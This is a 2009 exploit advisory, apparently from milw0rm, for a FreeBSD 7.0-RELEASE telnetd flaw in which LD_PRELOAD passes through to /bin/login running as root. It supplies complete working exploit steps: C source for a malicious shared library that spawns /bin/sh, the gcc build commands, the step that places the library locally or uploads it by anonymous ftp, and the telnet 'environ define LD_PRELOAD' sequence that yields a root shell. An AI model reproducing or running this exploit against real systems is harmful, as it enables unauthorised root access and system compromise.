FreeBSD 7.0-RELEASE - Telnet Daemon Privilege Escalation

FreeBSD (7.0-RELEASE) telnet daemon local privilege escalation -
And possible remote root code excution.

There is a rather big bug in the current FreeBSD telnetd daemon.
The environment is not properly sanitized when execution /bin/login,
what leads to a (possible) remote root hole.

The telnet protocol allows to pass environment variables inside the 
telnet traffic and assign them to the other side of the tcp connection.
The telnet daemon of FreeBSD does not check for LD_* (like LD_PRELOAD)
environment variables prior to executing /bin/login.
So passing an environment variable with the identifier LD_PRELOAD and
the value of a precompiled library that is on the filesystem of the
victims box that includes malicious code is possible.
When /bin/login is executed with the user id and group id 0 ('root') it preloads
the library that was set by remote connection through a telnet environment
definition and executes it.
It is unlikely that this bug can be exploited remotely but is not impossible.
An attacker could f.e. upload a malicious library using ftp (including anonymous
 ftp users), nfs, smb or any other (file) transfer protocol. 
One scenario to exploit the bug remotely would be a ftp server running beside 
the telnet daemon serving also anoynmous users with write access. Then the
attacker would upload the malicious library and defines the LD_PRELOAD
variable to something similar to /var/ftp/mallib.so to gain remote root access.

Here comes the actual exploit which can be executed with standard UNIX tools. 
Paste this into a file using your favorite text editor:
---snip-----
# FreeBSD telnetd local/remote privilege escalation/code execution
# remote root only when accessible ftp or similar available
# tested on FreeBSD 7.0-RELEASE
# by Kingcope/2009

#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
        FILE *f;
        setenv("LD_PRELOAD", "", 1);
        system("echo ALEX-ALEX;/bin/sh");
}
---snip-----

Then we compile this stuff.

---snip-----
#gcc -o program.o -c program.c -fPIC
#gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
---snip-----

Then we copy the file to a known location (local root exploit)

---snip-----
#cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
---snip-----

...or we upload the library through any other available attack vector.
After that we telnet to the remote or local FreeBSD telnet daemon
with setting the LD_PRELOAD environment variable to the known location
as a telnet option before.

---snip-----
#telnet
>auth disable SRA
>environ define LD_PRELOAD /tmp/libno_ex.so.1.0
>open target
---snip-----
ALEX-ALEX
#ROOTSHELL

This will give us an immediate (probably remote) root shell.
This exploit is only verified on a FreeBSD 7.0-RELEASE fresh install
with telnetd enabled. Other version of FreeBSD may also be affected,
OpenBSD and NetBSD where not tested but MAY contain the same bug because
of historic reasons.

Signed,
Kingcope[nikolaos rangos]/2009

# milw0rm.com [2009-02-16]